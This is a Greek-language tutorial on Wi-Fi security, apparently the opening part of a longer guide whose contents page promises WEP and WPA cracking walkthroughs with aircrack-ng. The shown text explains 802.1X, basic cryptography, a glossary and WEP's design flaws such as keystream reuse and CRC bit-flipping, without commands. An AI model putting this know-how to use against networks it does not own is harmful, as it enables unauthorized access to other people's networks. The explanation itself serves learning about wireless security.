wifi bye bye

35
Ασφάλεια, Wi-Fi και ξερό ψωμί Hacker ημών, ο εν των προγραμματιστών, αγιασθήτω ο Κώδικάς Σου, ελθέτω το Πρόγραμμά Σου,γεννηθήτω το Update Σου ως εν server και επι του client. Το patch ημών το critical δος ημίν σήμερον, και άφες ημίν τα exploits ημών ως, και ημείς αφίεμεν τα advisories ημών. Και μη εισενέγκης ημάς εις μπλε οθών , αλλα ρύσαι ημάς απο το data loss. Δι'ευχών των Hackerάδων Crackerάδων ημών, Κύριε Root Admin ο θεός, ελέησον και σώσων ημάς εκ των banADMHN

Upload: immaterial-creation

Post on 14-Apr-2015

72 views

Category:

Documents


4 download

DESCRIPTION

Wifi Bye Bye

TRANSCRIPT

Page 1: Wifi Bye Bye

Ασφάλεια, Wi-Fi και ξερό ψωμί

“Hacker ημών, ο εν των προγραμματιστών,αγιασθήτω ο Κώδικάς Σου, ελθέτω το Πρόγραμμά Σου,γεννηθήτω το Update Σου ως εν server και επι του client.Το patch ημών το critical δος ημίν σήμερον, και άφες ημίν τα exploits ημών ως, και ημείς αφίεμεν τα advisories

ημών. Και μη εισενέγκης ημάς εις μπλε οθών , αλλα ρύσαι ημάς απο το data loss.Δι'ευχών των Hackerάδων Crackerάδων ημών,

Κύριε Root Admin ο θεός, ελέησον και σώσων ημάς εκ των ban”

ADMHN

Page 2: Wifi Bye Bye

Περιεχόμενα 0_ο. Πρόλογος από τον qubix

1. Γενικά για τα 802.1χ πρωτόκολλα 1.1.Τι είναι το 802.1χ 1.2.Σύντομο ιστορικό και εξέλιξη

2. Λίγα πράγματα περί κρυπτογράφησης 2.1.Ορισμός 2.2.Είδη κρυπτογράφησης

a) symmetric key cryptography b) hash algorithms c) asymmetric key cryptography

3. Βασικές έννοιες και γλωσσάρι γιατί είμαστε άσχετοι 4. To WEP

4.1.Τι ειν' το WEP 4.2.Λειτουργία του WEP 4.3.Γιατί είναι πατάτα το WEP;

a) authentication b) integrity protection c) προβλήματα με τα IVs

5. The empire strikes back - To WPA 5.1.Εισαγωγή στο WPA και τις διαφορές/ομοιότητές του με το WEP 5.2.Πιστοποίηση και 4-way handshake

6. WPA2 total recall 7. Είδη επιθέσεων

7.1.Deauthentication 7.2.Fake authentication 7.3.Interactive packet replay 7.4.ARP request replay 7.5.KoreK chopchop 7.6.Fragmentation attack 7.7.Caffe-latte attack

8. “Χρήσιμα” εργαλεία και συμβατό hardware 8.1.aircrack-ng suite 8.2.kismet 8.3.wireshark 8.4.cowpatty 8.5.john the ripper 8.6.backtrack 8.7.Συμβατό hardware

9. WEP cracking 10.WEP cracking revisited 11. Δεν υπάρχουν προβλήματα... 12. WPA cracking

12.1. “Recon” με το Kismet 12.2. Passive Attack 12.3. Active Attack 12.4. Βρίσκοντας την Four-way Handshake 12.5. Δοκιμάζοντας το Crack 12.6. Επεκτείνοντας το Crack

13. ... μ όνο εμπόδια 14. Άχρηστες πληροφορίες και πηγές

Page 3: Wifi Bye Bye

0_ο. Πρόλογος από τον qubix Έχω να πω 3 μόνο πράγματα:

-Δε χρειάζεται να διαβάσεις τπτ, μπορείς να πας κατευθείαν στις επιθέσεις και να αρχίσεις τα copy paste* -To παρόν ανάγνωσμα δεν είναι εδώ για να γίνουμε ουάουα crackers αλλά για να ξεστραβωθούμε λίγο στα wifi δίκτυα και τη λειτουργία τους *)Η γνώση είναι δύναμη, μη βαριέστε ρεμάλια!

1. Γενικά για τα 802.1χ πρωτόκολλαΤι είναι το 802.1Χ;

Το ΙΕΕΕ 802.1Χ είναι ένα πρότυπο που ανήκει στην οικογένεια των 802.1 πρωτοκόλλων δικτύου. Παρέχει έναν μηχανισμό πιστοποίησης (authentication) μέσω του οποίου πραγματοποιείται μια σύνδεση σε ένα δίκτυο ή απορρίπτεται και ο οποίος περιλαμβάνει μια διαδικασία αμοιβαίας επικοινωνίας μεταξύ ενός παροχέα (supplicant) o οποίος επιθυμεί να συνδεθεί στο δίκτυο, του authenticator που παρέχει τον έλεγχο πρόσβασης (συνήθως ένα access point - AP) και του authentication server (πχ RADIUS server) που θα πάρει την απόφαση. To πλεονέκτημα του 802.1Χ, όσων αφορά τα wireless δίκτυα, είναι πως όλη η επεξεργασία γίνεται στον supplicant και στον authentication server. Ο authenticator μπορεί να είναι μια απλή συσκευή που θα κάνει ελάχιστη δουλειά, πράγμα που είναι ιδανικό για wireless access points τα οποία συνήθως έχουν μικρή επεξεργαστική ισχύ ή/και μνήμη. Επειδή σπίτι μας δεν έχουμε servers, APs κλπ, το ρούτερ μας αναλαμβάνει να τα κάνει όλα αυτά μαζί. Είναι ταυτόχρονα Access Point και authentication server. Το πρωτόκολλο 802.1 είναι στην πραγματικότητα η εφαρμογή στα δίκτυα ενός άλλου πρωτοκόλλου, του EAP (Extensible Authentication Protocol) το οποίο δημιουργήθηκε ώστε να ξεπεραστούν διάφορα θέματα ασφάλειας και λειτουργίας ενός άλλου πρωτοκόλλου, του PPP(Point-to-Point Protocol -χρησιμοποιείται και σε DSL authentication με τη μορφή PPPoE -PPPover Ethernet-) και στον κόσμο του LAN ονομάζεται ΕΑPoL (EAP over LAN) και έχει διάφορες μορφές πχ EAP-TLS, PEAP, Kerberos V5 κλπ κλπΗ δουλειά λοιπόν του 802.1 είναι η πιστοποίηση.

Σύντομο ιστορικό και εξέλιξη

Το πρώτο στάνταρ της οικογένειας αυτής στα ασύρματα δίκτυα, το 802.11 legacy διαμορφώθηκε το 1997 και σήμερα είναι ξεπερασμένο. Ήταν το πρώτο στάνταρ στα ασύρματα δίκτυα το οποίο καθόριζε συχνότητα λειτουργίας στα 2.4Ghz (προηγούμενα στάνταρ λειτουργούσαν σε χαμηλότερες συχνότητες πχ 900Μhz που σήμερα χρησιμοποιείται στα δίκτυα GSM) και είχε data rate 1 ή 2 Mbit/s και έλεγχο σφαλμάτων. Λόγω του ότι η μπάντα των 2.4Ghz είναι αρκετά φορτωμένη, το 1999 μια νέα παραλλαγή η 802.11a εμφανίστηκε η οποία λειτουργούσε στα 5Ghz, μια μπάντα σχετικά αχρησιμοποίητη και παρείχε data rate της τάξης των 54Μbit/s. Το πρόβλημα είναι πως τα σήματα στα 5Ghz έχουν μικρότερη διεισδυτική ικανότητα απ ότι αυτά στα 2.4Ghz, λόγω του μικρότερου μήκος κύματος που έχουν, με αποτέλεσμα το εύρος κάλυψης του 802.11a να περιορίζεται εύκολα από τοίχους ή άλλα στερεά αντικείμενα. Tην ίδια χρονιά εμφανίστηκε το 802.11b, το οποίο ήταν μια επέκταση του αρχικού προτύπου και παρείχε data rate 11Μbit/s. H αύξηση στο data rate σε σύγκριση με το αρχικό πρότυπο επιτυγχάνθηκε με νέες μεθόδους διαμόρφωσης του σήματος (modulation - DSSS). Το γεγονός αυτό μαζί με τις χαμηλές τιμές των συσκευών που το χρησιμοποιούσαν, είχε ως αποτέλεσμα την γρήγορη υιοθέτησή του ως βασικό wireless στάνταρ, παρά το ζήτημα των παρεμβολών από το οποίο υπέφερε από άλλες συσκευές οι οποίες δουλεύουν στην ίδια μπάντα (2.4Ghz) όπως bluetooth, φούρνους μικροκυμάτων, ασύρματα τηλέφωνα κλπκλπ Το 2003, ένα νέο στάνταρ το 802.11g εκπονήθηκε το οποίο ορίζει συχνότητα λειτουργίας την μπάντα 2.4Ghz και χρησιμοποιεί τον ίδιο μηχανισμό μετάδοσης με το 802.11a. Παρέχει 54Μbit/s data rate και συμβατότητα με το hardware του 802.11b πράγμα που έχει ως αποτέλεσμα τη μειωμένη απόδοση σε σχέση με το 802.11a κατά 21%. Η συμβατότητα αυτή σε συνδυασμό με το υψηλότερο data rate, οδήγησε στη γρήγορη εμφάνιση hardware που υποστήριζε και τα 3 στάνταρ λειτουργίας ταυτόχρονα (dual-band -2.4 & 5Ghz, tri-mode -802.11a & 802.11b/g). [περιεχόμενα]

Page 4: Wifi Bye Bye

Μιας και λειτουργεί στα 2.4Ghz, υποφέρει από τα ίδια προβλήματα παρεμβολών όπως το .11b Το 2004 υιοθετήθηκε το στάνταρ 802.11i στα wireless δίκτυα, το οποίο ήρθε να καλύψει κενά ασφαλείας που είχαν εντοπιστεί στο WEP, καθορίζοντας έναν νέο μηχανισμό πιστοποίησης και κρυπτογράφησης, το WPA.

Άλλα στάνταρ (c-f, h, j) είναι διορθώσεις ή επεκτάσεις σε προηγούμενα.

Το μελλοντικό στάνταρ που ακόμη είναι υπό διαμόρφωση είναι το 802.11n, το οποίο εισάγει το MIMO (Multiple In-Multiple Out), δηλαδή πρακτικά αντί της μιας κεραίας, οι κάρτες μπορεί να έχουν 2,3 ή 4 κεραίες με σκοπό τη βελτίωση της συλλογής και επεξεργασίας πληροφοριών, καθώς και των περισσοτέρων data streams σε ένα κανάλι επικοινωνίας ανά κεραία. Θα έχει 600Μbit/s bitrate και η λειτουργία του θα είναι είτε στη μπάντα των 2.4 είτε των 5Ghz και χρησιμοποιεί την ίδια τεχνική διαμόρφωσης με των 802.11a/g (OFΜD - Orthogonal frequency-division multiplexing).

2. Λίγα πράγματα περί κρυπτογράφησης

Ορισμός

Κρυπτογράφηση είναι η διαδικασία κατά την οποία η πληροφορία (plaintext ή cleartext) μετατρέπεται μέσω ενός αλγορίθμου (cipher) έτσι ώστε να καταστεί αδύνατη η ανάγνωσή της χωρίς τη γνώση μιας ενδιάμεσης πληροφορίας (key) η οποία θα χρησιμοποιηθεί για την επίτευξη της αντίστροφης διαδικασίας, της αποκρυπτογράφησης. Το αποτέλεσμα της παραπάνω διαδικασίας είναι η κρυπτογραφημένη πληροφορία (ciphertext).

Είδη κρυπτογράφησης

Εδώ θα μας απασχολήσουν 2 είδη, η κρυπτογράφηση συμμετρικών κλειδιών (symmetric-key cryptography) και η κρυπτογράφηση δημόσιων κλειδιών (public-key cryptography).

Symmetric-key cryptography είναι η μέθοδος κρυπτογράφησης κατά την οποία και ο αποστολέας και ο παραλήπτης μοιράζονται το ίδιο κλειδί ή τα κλειδιά τους είναι συσχετισμένα με κάποιον εύκολα υπολογίσιμα τρόπο.

Δύο τέτοιοι αλγόριθμοι γενικά χρησιμοποιούνται, οι block ciphers και οι stream ciphers. Οι block ciphers ουσιαστικά αυτό που κάνουν είναι να παίρνουν ένα κομμάτι plaintext, ένα key και να παράγουν ένα κομμάτι ciphertext του ιδίου μήκους με του αρχικού. Επειδή το μέγεθος της plaintext είναι σχεδόν πάντοτε μεγαλύτερο του ενός κομματιού plaintext που χρησιμοποιήθηκε, χρειάζεται μια μέθοδος ώστε τα διαφορετικά πακέτα που όλα μαζί σχηματίζουν το τελικό ciphertext να ενωθούν. Διάφοροι τρόποι έχουν δημιουργηθεί και αναφέρονται ως “καταστάσεις λειτουργίας” (modes of operation). Δύο πολύ γνωστοί block ciphers είναι ο DES (data encryption standard) και ο AES (advanced encryption standard). Οι stream ciphers παράγουν μια ψευδοτυχαία συμβολοσειρά (keystream) την οποία συνδυάζουν με την plaintext bit-by-bit ή χαρακτήρα με χαρακτήρα, και η ciphertext είναι αποτέλεσμα του παραπάνω [περιεχόμενα]

Page 5: Wifi Bye Bye

συνδυασμού, ο οποίος καθορίζεται από μια ή περισσότερες κρυφές παραμέτρους, οι οποίες αλλάζουν καθώς ο cipher μετατρέπει την plaintext. Ένας πολύ γνωστός stream cipher είναι ο RC4, τον οποίο συναντάμε σε συστήματα κρυπτογράφησης όπως τα SSL, RDP, SASL, Kerberos, TLS και φυσικά στα WEP και WPA. Στην ίδια κατηγορία ανήκουν και οι αλγόριθμοι hash, οι οποίοι παίρνουν μια plaintext και παράγουν μια σταθερού μήκους μοναδική για τη συγκεκριμένη plaintext και για το συγκεκριμένο αλγόριθμο συμβολοσειρά. Δύο γνωστοί hash αλγόριθμοι είναι ο MD5 και ο SHA.

Η public-key cryptography (ή asymmetric-key) έρχεται να δώσει λύσεις σε μια σειρά πρακτικών προβλημάτων που προκύπτουν από το γεγονός πως στα symmetric-key συστήματα κρυπτογράφησης, τα δύο μέρη που ανταλλάσσουν την πληροφορία, πρέπει να έχουν και τα δύο το ίδιο key και το ίδιο ciphertext και για να γίνει αυτό είναι απαραίτητη κάποια μορφή ασφαλούς επικοινωνίας. Αυτό γρήγορα οδηγεί σε διάφορα προβλήματα διαχείρισης των κλειδιών.

Η καινοτομία της public-key κρυπτογράφησης βρίσκεται στο οτι χρησιμοποιεί δύο keys, ένα private που κάνει την αποκρυπτογράφηση της ciphertext και ένα public για την κρυπτογράφηση της plaintext. Τα δύο κλειδιά είναι μαθηματικά συνδεδεμένα μεταξύ τους, χωρίς όμως να είναι δυνατή η παραγωγή του ενός από το άλλο με κάποιον τρόπο. Γνωστοί asymmetric key αλγόριθμοι είναι οι DSA, RSA, ElGamal κλπ oι οποίοι χρησιμοποιούνται σε προγράμματα όπως το PGP και το OpenPGP.

Μια σημαντική εφαρμογή της public-key κρυπτογράφησης είναι η ψηφιακή υπογραφή (digital signature) μιας πληροφορίας (πχ ένα mail) η οποία γίνεται μέσω ενός αλγορίθμου, στον οποίο χρησιμοποιείται ένα private key κατά την επεξεργασία της πληροφορίας (ή του hash της ή και των δύο) και ενός άλλου για πιστοποίηση, στον οποίο το κατάλληλο public key χρησιμοποιείται με την πληροφορία για τον έλεγχο της γνησιότητας της ψηφιακής υπογραφής. Η ψηφιακή υπογραφή είναι σημαντικό τμήμα αρκετών συστημάτων ασφαλείας στα δίκτυα όπως πχ στα SSL/TLS, VPNs.

3. Βασικές έννοιες και γλωσσάρι γιατί είμαστε άσχετοι

Πράγματα που χρειάζεται να ξέρουμε πάνω κάτω και που μερικά τα έχουμε αναφέρει ήδη, αλλά τα ξαναλέμε για να μην τα ξεχάσουμε...

• AP – (Access Point), μια συσκευή ενός Wi-Fi δικτύου η οποία συνδέει πελάτες του δικτύου αυτού μεταξύ τους και με ενσύρματα δίκτυα• Ad Hoc (Mode) – Η λειτουργία κατά την οποία ένας υπολογιστής μπορεί να συνδεθεί με έναν άλλο απευθείας σχηματίζοντας δίκτυο, χωρίς την παρεμβολή ενός AP• ARP – (Address Resolution Protocol), πρωτόκολλο μετάφρασης διευθύνσεων IP σε διευθύνσεις MAC.• Association – Η διαδικασία κατά την οποία ένας πελάτης συνάπτει επαφή με έναν άλλο ή με ένα δίκτυο (προηγείται authentication) [περιεχόμενα]

Page 6: Wifi Bye Bye

• Authentication – Η διαδικασίας πιστοποίησης της ταυτότητας ενός πελάτη (supplicant), ώστε να επιβεβαιωθεί πως οι πληροφορίες πάνε εκεί που πρέπει ή έρχονται από εκεί που πρέπει.• Authenticator – Η συσκευή η οποία δρομολογεί τη σύνδεση ενός πελάτη με έναν άλλο ή με ένα δίκτυο (συνήθως είναι ένα AP).• Beacon – Το σήμα που στέλνει ένα AP για να ανακοινώσει την ύπαρξή του και μπορεί να περιλαμβάνει διάφορα στοιχεία πχ ESSID, MAC address κλπ• BSSID – (Basic Service Set Identifier), διεύθυνση MAC του access point.• CCMP – (Counter-Mode / Cipher Block Chaining Message Authentication Code Protocol), πρωτόκολλο κρυπτογράφησης που χρησιμοποιείται στο WPA2, βασισμένο στον AES block cipher.• Channel – Είναι ένα συγκεκριμένο εύρος συχνότητας, μήκους 1Μhz και διαφοροποιείται κατά 5Mhz από τα άλλα κανάλια στα οποία έχει πρόσβαση μια Wi-Fi συσκευή κάθε στιγμή.• CRC – (Cyclic Redundancy Check), pseudo-integrity αλγόριθμος που χρησιμοποιείται για την πιστοποίηση της ακεραιότητας δεδομένων.• Dictionary – ένα σύνολο λέξεων (λεξικό δλδ xP) που θα χρησιμοποιηθεί σε μια bruteforce attack• Dynamic WEP – η προσπάθεια να ισχυροποιηθεί το WEP με χρήση δύο κλειδιών: ένα broadcast key για την κρυπτογράφηση της πληροφορίας (το shared key δλδ) και ένα session key μοναδικό για κάθε authenticated supplicant. Οι τιμές των δύο κλειδιών ανανεώνονται ανά κάποια λεπτά.• EAP – (Extensible Authentication Protocol), βασικό πρωτόκολλο στο οποίο πατάνε διάφορες μέθοδοι authentication.• EAPOL – (EAP Over LAN), εφαρμογή του πρωτοκόλλου EAP στα δίκτυα.• ESSID – (Extended Service Set Identifier), το όνομα του δικτύου• Fragmentation – η διαδικασία κατά την οποία ένα πακέτο πληροφορίας σπάει σε μικρότερα πακέτα για να αποσταλλεί και τα οποία θα χρειαστεί να “επανακολληθούν” στον προορισμό τους.• Frame – μπορούμε να θεωρήσουμε πως frame είναι το ίδιο με ένα packet. O “ορισμός” για όποιον ενδιαφέρεται είναι πως όταν υπάρχει ανταλλαγή μυνημάτων στο layer 2 του OSI model μιλάμε για frames, ενώ όταν η ανταλλαγή γίνεται στο 3 layer για packets (το OSI model είναι ένα μοντέλο αρχιτεκτονικής δικτύου)• GEK – (Group Encryption Key), κλειδί για κρυπτογράφηση δεδομένων σε multicast traffic (επίσης χρησιμοποιείται για επαλήθευση ακεραιότητας -integrity- στο CCMP).• GIK – (Group Integrity Key), κλειδί για κρυπτογράφηση δεδομένων σε multicast traffic (TKIP).• GMK – (Group Master Key), κύριο κλειδί της group key hierarchy.• GTK – (Group Transient Key), κλειδί που παράγεται από το GMK.• Handshake – διαδικασία μιας σειράς ερωτήσεων-απαντήσεων με σκοπό την πιστοποίηση του supplicant• ICV – (Integrity Check Value), data field που προσαρτάται στην plaintext για έλεγχο της ακεραιότητάς της (βασισμένο στον αδύναμο CRC32 αλγόριθμο).• Infrastructure (Mode) – Ο τρόπος λειτουργίας κατά τον οποίο ένας υπολογιστής συνδέεται πρώτα με ένα AP και μετά με το δίκτυο.• IP address – (Internet Protocol address) είναι ένας μοναδικός αριθμός που δείχνει που βρίσκεται ο υπολογιστής σου σε σχέση με τους άλλους υπολογιστές και το αντίστροφο.• IV – (Initialization Vector), δεδομένα που συνδυάζονται με το encryption key ώστε να παραχθεί μια μοναδική keystream.• KCK – (Key Confirmation Key), κλειδί ελέγχου ακεραιότητας που προστατεύει τα μηνύματα handshake.• KEK – (Key Encryption Key), “εμπιστευτικό” κλειδί που προστατεύει τα handshake μηνύματα.• MAC address – (Media Access Control address), ένας 48-bit αριθμός που δίνεται σε κάθε κάρτα δικτύου από τον κατασκευαστή της. • MIC – (Message Integrity Code), data field που προσαρτάται στην plaintext για έλεγχο της ακεραιότητάς της (παράγεται από τον αλγόριθμο Michael).• MK – (Master Key), το κύριο κλειδί που γνωρίζει ο supplicant και ο authenticator μετά τη διαδικασία authentication του 802.1x.• Monitor Mode – Η κατάσταση λειτουργίας μιας wifi συσκευής κατά την οποία λαμβάνει τα πακέτα που κυκλοφορούν στο wifi δίκτυο. Είναι γνωστή και ως raw mode.• MPDU – (Mac Protocol Data Unit), πακέτο δεδομένων πριν το fragmentation.• MSDU – (Mac Service Data Unit), πακέτο δεδομένων μετά το fragmentation.• PAE – (Port Access Entity), λογική πόρτα του 802.1x.• packet (πακέτο) – Η ελάχιστη μονάδα συμπύκνωσης (πακεταρίσματος) των δεδομένων κατά τη διάρκεια οποιασδήποτε μεταφοράς και επικοινωνίας μεταξύ δύο υπολογιστών. Σε κάθε είδος δικτύου, υπάρχει συνεχής ροή "πακέτων" από και προς κάθε σταθμό του δικτύου. [περιεχόμενα]

Page 7: Wifi Bye Bye

• PMK – (Pairwise Master Key), κύριο κλειδί στην ιεραρχία pairwise key.• PRGA – (Pseudo Random Generation Algorithm) η διαδικασία παραγωγής της keystream στον RC4. Ισχύει το παρακάτω πολύ χρήσιμο ciphertext ⊕ plaintext = PRGA• PSK – (Pre-Shared Key), κλειδί που παράγεται από έναν κωδικό (passphrase) αντικαθιστώντας το PMK σε WPA-PSK mode.• PTK – (Pairwise Transient Key), κλειδί που παράγεται από το PMK.• Rainbow tables – έτοιμα hashes λέξεων για χρήση σε bruteforce/dictionary attacks• RSN – (Robust Security Network), μηχανισμός ασφαλείας στο 802.11i (TKIP, CCMP etc.).• RSNA – (Robust Security Network Association), επαφή ασφαλείας που χρησιμοποιείται σε έναν RSN, δλδ όταν χρησιμοποιείται η 4-way handshake.• RSN IE – (Robust Security Network Information Element), πεδία που περιέχουν RSN πληροφορίες και περιέχονται σε ένα Probe Response και Association Request.• Sniffing – Η διαδικασία συλλογής των πακέτων που κυκλοφορούν σε ένα δίκτυο • Spoofing – Η τεχνική με την οποία ο attacker προσποιείται μια διαφορετική ιδιότητα από την πραγματική. Πχ mac spoofing είναι όταν αλλάζει την mac address του για να γίνει νόμιμος client, arp spoofing όταν τροποποιεί την πηγή ή τον προορισμό των πακέτων μιας ροής δεδομένων και πάει λέγοντας• SSID – (Service Set Identifier), wireless network identifier (όχι το ίδιο με το ES-SID).• STA – (Station), ένας πελάτης δικτύου.• TK – (Temporary Key), κλειδί για κρυπτογράφηση δεδομένων σε unicast traffic (χρησιμοποιείται και για έλεγχο ακεραιότητας -integrity checking- στο CCMP).• TKIP – (Temporal Key Integrity Protocol), πρωτόκολλο κρυπτογράφησης που χρησιμοποιείται στο WPA και βασίζεται στον RC4 αλγόριθμο (ο οποίος χρησιμοποιείται και στο WEP).• TMK – (Temporary MIC Key), κλειδί για data integrity σε unicast traffic (TKIP).• TSC – (TKIP Sequence Counter), replay counter που χρησιμοποιείται στο TKIP.• TSN – (Transitional Security Network), προ-802.11i μηχανισμός ασφαλείας(WEP κλπ.).• WEP – (Wired Equivalent Privacy), default πρωτόκολλο κρυπτογράφησης που χρησιμοποιείται στα 802.11 δίκτυα.• Wi-Fi – (Wireless Fidelity), η γνωστή σε όλους μας τεχνολογία ασύρματης δικτύωσης• WPA – (Wireless Protected Access), εφαρμογή μιας πρώιμης έκδοσης του 802.11i στάνταρ, βασισμένη στο TKIP.• WRAP – (Wireless Robust Authenticated Protocol), παλιό πρωτόκολλο κρυπτογράφησης που χρησιμοποιείται στο WPA2.

4.Το WEP Τι είν' το WEP To WEP είναι το πρώτο πρωτόκολλο ασφαλείας που ενσωματώθηκε στα wireless δίκτυα το 1999. Χρησιμοποιεί τον RC4 για κρυπτογράφηση και τον CRC32 για integrity checking. Επειδή αρχικά υπήρξαν διάφοροι περιορισμοί στο μέγεθος του κλειδιού, οι οποίοι εφαρμόστηκαν από την κυβέρνηση των ΗΠΑ, χρησιμοποιήθηκε κλειδί μεγέθους 40-bit και αργότερα όταν ακυρώθηκαν οι περιορισμοί αυτοί, όλοι οι κατασκευαστές μετέβησαν στα 104-bit κλειδιά κρυπτογράφησης. Το WEP σήμερα έχει εγκαταληφθεί και αντικατασταθεί από τα WPA/WPA2, καθώς έχουν βρεθεί πολλές αδυναμίες και “τρύπες” που το καθιστούν ευάλωτο σε διαφόρων ειδών επιθέσεις. Παρόλα αυτά, η πλειοψηφία των routers ακόμη το χρησιμοποιεί.

Λειτουργία του WEP - ΚρυπτογράφησηΟ τρόπος κρυπτογράφησης του WEP είναι αρκετά απλός. Ένα 24-bit ΙV συνδυάζεται με το κλειδί (K) και ο συνδυασμός αυτός χρησιμοποιείται από τον RC4 για να κρυπτογραφηθεί η plaintext (P) και το checksum της (ICV), ώστε να παραχθεί η ciphertext (C):

C = [ P || ICV(P) ] ⊕ [ RC4(K || IV) ] όπου ⊕ είναι ο τελεστής XOR και όπου || ο λογικός τελεστής ΟR [περιεχόμενα]

Page 8: Wifi Bye Bye

Επειδή δεν γίνεται κατανοητή ίσως η διαδικασία από την παραπάνω φόρμουλα, ακολουθεί ένα διάγραμμα:

Για κάθε plaintext λοιπόν, ο RC4 παράγει μια διαφορετική keystream και για να το κάνει αυτό χρησιμοποιεί ένα τυχαίο IV σε συνδυασμό με το σταθερό shared key. To αποτέλεσμα γίνεται XOR με την plaintext στην οποία έχει προσαρτηθεί η ICV (ουσιαστικά το CRC32 αποτέλεσμά της plaintext) και παράγεται η ciphertext στην οποία προσαρτάται το IV με το key ID και αποστέλλεται ως frame.

Το κάθε πακέτο αποστέλλεται με μια επικεφαλίδα (header) η οποία περιέχει σε plaintext το bssid, το IV και την destination address. To “σώμα” περιέχει κρυπτογραφημένα τα δεδομένα, την ICV, το LLC και τo subnetwork access protocol header.

802.11 headerBSS ID Initialization vector (IV) Destination address

(unencrypted)Logical Link Control

Subnetwork Access Protocol Header

Data

Integrity Check Value

– AuthenticationΤο WEP χρησιμοποιεί δύο τρόπους authentication την ανοιχτή μέθοδο πιστοποίησης (open authentication method) και την πιστοποίηση με κοινά κλειδιά (shared key authentication). Στην πρώτη μέθοδο, ο supplicant μπορεί να πιστοποιήσει τον εαυτό του με το AP χωρίς να δώσει καθόλου στοιχεία, δηλαδή δεν γίνεται καμία πιστοποίηση. Μετά μπορεί να προχωρήσει σε απόπειρα association με τον authenticator. Μετά την association, το WEP μπορεί να χρησιμοποιηθεί για την κρυπτογράφηση των πακέτων.

Στην δεύτερη μέθοδο μια διαδικασία “τετραπλής χειραψίας” (four-way handshake) ξεκινά:1. Ο client στέλνει ένα authentication request στο ΑP2. To AP απαντά με μια plaintext πρόκληση (challenge)3. O client πρέπει να κρυπτογραφήσει την plaintext challenge με το WEP key και να το στείλει με ένα

ακόμη authentication request [περιεχόμενα]

4. To AP αποκρυπτογραφεί την απάντηση και τη συγκρίνει με την plaintext challenge που έστειλε αρχικά.

Page 9: Wifi Bye Bye

Αν είναι ίδιες προχωρά σε association, αν όχι αρνείται τη σύνδεση.

Και οι δύο παραπάνω μέθοδοι είναι ανασφαλείς και μάλιστα η 2η περισσότερο μιας και είναι δυνατόν να κάνεις capture την four-way handshake και να βρεις το WEP key από εκεί, χωρίς άλλες τεχνικές.

Γιατί είναι πατάτα το WEP;

Authentication (πιστοποίηση)◦ Η πιστοποίηση δεν είναι αμοιβαία, δηλαδή ενώ ο supplicant πιστοποιείται στο AP, δεν συμβαίνει το

αντίστροφο.◦ Ο μηχανισμός πιστοποίησης και ο μηχανισμός κρυπτογράφησης χρησιμοποιούν το ίδιο key. Αυτό δίνει

την ευκαιρία στον attacker να εκμεταλλευτεί τυχόν αδυναμίες και στην πιστοποίηση και στην κρυπτογράφηση για να βρεί το ένα και μόνο κλειδί που χρειάζεται.

◦ Ο client πιστοποιείται μόνο κατά τη σύνδεση με το ΑP, με αποτέλεσμα να είναι δυνατή η αποστολή πακέτων από έναν attacker, προσποιούμενος πως είναι ο client, αντιγράφοντας τη mac address του. Δε χρειάζεται να γνωρίζει το key για να στείλει έγκυρα πακέτα (εφόσον κάθε πακέτο πρέπει να είναι κρυπτογραφημένο με το key ώστε να μην απορριφθεί από το AP), μπορεί κάλλιστα να καταγράψει έγκυρα πακέτα από έναν άλλο client (ή και του ίδιου) και να τα ξαναστείλει τροποποιημένα ώστε να σπάσει το key. Αυτή η διαδικασία είναι αδύνατο να ανιχνευθεί από το AP.

◦ H διαδικασία κρυπτογράφησης αποτελεί επίσης πρόβλημα. Σύμφωνα και με τα παραπάνω που έχουμε πει για τη λειτουργία του WEP, ισχύει ο τύπος: C=P⊕R όπου ⊕ είναι ο τελεστής XOR, C είναι η ciphertext, P είναι η plaintext με το ICV (P||ICV(P)) και R είναι η ψευδοτυχαία συμβολοσειρά που παράγεται από το key και το IV μέσω του RC4 (RC4(key||IV)). Επειδή είναι πολύ εύκολο να βρεθεί η C και η P, μπορεί να υπολογιστεί η R και να επαναχρησιμοποιηθεί για οποιαδήποτε τιμή των C, P. O μηχανισμός των IVs του WEP δεν αντιμετωπίζει αυτό το πρόβλημα γιατί το IV επιλέγεται από τον client, στην περίπτωσή μας τον attacker, o οποίος μπορεί να στέλνει την R που τον βολεύει.

Integrity protection To 2001 οι Borisov, Goldberg και Wagner χρησιμοποίησαν μια ιδιότητα του CRC αλγόριθμου για την CRC bit-flipping attack. O CRC αλγόριθμος χρησιμοποιείται κατά τη δημιουργία του ΙCV από την plaintext, το οποίο προσκολλάται σ αυτήν για την αποφυγή τυχόν σφαλμάτων κατά τη μεταφορά των πακέτων πληροφορίας.

Αν η ICV της plaintext που ελήφθη είναι διαφορετική από αυτήν που στάλθηκε, υπήρξε πρόβλημα κατά την μεταφορά και πρέπει να ξανασταλούν κάποια ή και όλα τα πακέτα. Η ιδιότητα του CRC αλγορίθμου που χρησιμοποιείται σε αυτή την επίθεση είναι η προσεταιριστική, όσων αφορά τις πράξεις με τελεστές XOR. Αν εκφράσουμε τυποποιημένα την ιδιότητα αυτή τότε έχουμε: CRC(X ⊕ Y) = CRC(X) ⊕ CRC(Y).

Η ιδιότητα αυτή είναι ιδιαίτερα χρήσιμη γιατί μας επιτρέπει να αλλάξουμε (flip) τυχαία bits σε μια plaintext και να αλλάξουμε αναλόγως την ICV της ώστε όταν στείλουμε το αλλαγμένο πακέτο (forged packet), το ΑP να το δεχτεί ως έγκυρο και να το προωθήσει στον router.

Ένα άλλο σημείο αδυναμίας του WEP είναι η ικανότητα να εντοπίζονται πακέτα που έχουν ξανασταλεί ώστε να απορρίπτονται. Είναι εύκολο να αναλύσουμε τον μηχανισμό προστασίας του WEP απέναντι σε επανασταλμένα πακέτα, γιατί απλά δεν υπάρχει! Οι σχεδιαστές του WEP ...ξέχασαν να βάλουν έναν τέτοιο μηχανισμό. Έτσι αν αλλάξουμε ένα πακέτο, που έχουμε προηγουμένως καταγράψει, με bit-flipping, τίποτα δε μας εμποδίζει να το ξαναστείλουμε και όλα να φαίνονται σωστά.

[περιεχόμενα]

Page 10: Wifi Bye Bye

Προβλήματα με τα IVs

